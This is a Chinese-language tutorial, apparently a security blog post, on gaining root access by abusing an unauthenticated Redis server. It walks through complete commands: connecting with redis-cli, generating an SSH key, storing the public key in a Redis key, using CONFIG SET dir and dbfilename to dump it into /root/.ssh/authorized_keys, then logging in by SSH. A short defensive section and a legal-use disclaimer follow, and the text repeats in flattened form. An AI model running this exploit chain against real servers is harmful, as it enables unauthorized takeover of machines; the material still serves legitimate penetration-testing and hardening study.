redis未授权访问配合ssh免密登录getshell
字数 985 2025-08-15 21:34:06

Redis未授权访问配合SSH免密登录GetShell技术分析

一、漏洞原理概述

Redis未授权访问漏洞是指Redis服务在默认配置下(无密码或使用弱密码)暴露在公网,攻击者可以直接连接到Redis服务并执行命令。结合SSH公钥认证机制,攻击者可以将自己的公钥写入目标服务器的authorized_keys文件,从而实现免密登录获取服务器权限。

二、环境准备

攻击机准备(以Kali Linux为例)

  1. 安装Redis客户端工具

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    tar xzf redis-2.8.17.tar.gz
    cd redis-2.8.17
    make
    
  2. 将Redis工具加入系统路径

    cd src
    cp redis-server /usr/bin/
    cp redis-cli /usr/bin/
    cd ../
    cp redis.conf /etc/
    
  3. 启动本地Redis服务(可选)

    redis-server /etc/redis.conf
    

三、漏洞利用步骤

1. 确认Redis未授权访问

redis-cli -h 目标IP

若直接出现目标IP:6379>提示符且无需密码,则存在未授权访问漏洞。

2. 生成SSH密钥对

ssh-keygen -t rsa

按回车键接受默认设置(不设置密码),生成的文件默认位于/root/.ssh/目录下。

3. 准备公钥文件

cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

添加空行是为了避免与Redis原有数据冲突。

4. 上传公钥到目标Redis

cat 1.txt | redis-cli -h 目标IP -x set crack

此命令将公钥内容作为值存入Redis的crack键中。

5. 连接目标Redis服务

redis-cli -h 目标IP

6. 配置Redis持久化路径

config get dir

查看当前Redis持久化文件存储路径,通常需要修改为/root/.ssh/

config set dir /root/.ssh/

7. 设置持久化文件名

config set dbfilename authorized_keys

将数据库转储文件名设置为SSH公钥认证文件。

8. 保存配置并退出

save
exit

9. 验证并登录

ssh -i /root/.ssh/id_rsa root@目标IP

若配置成功,可直接免密登录目标服务器。

四、防御措施

  1. 网络层防护

    • 限制Redis服务仅监听内网IP
    • 配置防火墙规则限制访问来源
  2. 服务配置

    # 修改redis.conf
    requirepass 强密码
    bind 127.0.0.1
    protected-mode yes
    rename-command CONFIG ""
    
  3. 系统层面

    • 禁止使用root用户运行Redis
    • 设置SSH仅允许密钥认证+密码认证双重验证
  4. 监控措施

    • 监控authorized_keys文件异常修改
    • 记录Redis的CONFIG命令使用情况

五、技术要点总结

  1. 漏洞利用前提:

    • Redis未授权或弱密码
    • Redis运行在高权限账户下(通常为root)
    • 服务器同时开放SSH服务
  2. 关键操作:

    • 通过Redis的CONFIG SET命令修改持久化路径
    • 利用Redis的持久化机制写入SSH公钥
    • 空行包裹公钥避免格式问题
  3. 检测方法:

    • 使用redis-cli -h IP测试未授权访问
    • 检查Redis的CONFIG GET dir默认配置

本技术仅限合法授权测试使用,未经授权进行渗透测试属于违法行为。

Redis未授权访问配合SSH免密登录GetShell技术分析 一、漏洞原理概述 Redis未授权访问漏洞是指Redis服务在默认配置下(无密码或使用弱密码)暴露在公网,攻击者可以直接连接到Redis服务并执行命令。结合SSH公钥认证机制,攻击者可以将自己的公钥写入目标服务器的 authorized_keys 文件,从而实现免密登录获取服务器权限。 二、环境准备 攻击机准备(以Kali Linux为例) 安装Redis客户端工具 : 将Redis工具加入系统路径 : 启动本地Redis服务(可选) : 三、漏洞利用步骤 1. 确认Redis未授权访问 若直接出现 目标IP:6379> 提示符且无需密码,则存在未授权访问漏洞。 2. 生成SSH密钥对 按回车键接受默认设置(不设置密码),生成的文件默认位于 /root/.ssh/ 目录下。 3. 准备公钥文件 添加空行是为了避免与Redis原有数据冲突。 4. 上传公钥到目标Redis 此命令将公钥内容作为值存入Redis的 crack 键中。 5. 连接目标Redis服务 6. 配置Redis持久化路径 查看当前Redis持久化文件存储路径,通常需要修改为 /root/.ssh/ 。 7. 设置持久化文件名 将数据库转储文件名设置为SSH公钥认证文件。 8. 保存配置并退出 9. 验证并登录 若配置成功,可直接免密登录目标服务器。 四、防御措施 网络层防护 : 限制Redis服务仅监听内网IP 配置防火墙规则限制访问来源 服务配置 : 系统层面 : 禁止使用root用户运行Redis 设置SSH仅允许密钥认证+密码认证双重验证 监控措施 : 监控 authorized_keys 文件异常修改 记录Redis的CONFIG命令使用情况 五、技术要点总结 漏洞利用前提: Redis未授权或弱密码 Redis运行在高权限账户下(通常为root) 服务器同时开放SSH服务 关键操作: 通过Redis的 CONFIG SET 命令修改持久化路径 利用Redis的持久化机制写入SSH公钥 空行包裹公钥避免格式问题 检测方法: 使用 redis-cli -h IP 测试未授权访问 检查Redis的 CONFIG GET dir 默认配置 本技术仅限合法授权测试使用,未经授权进行渗透测试属于违法行为。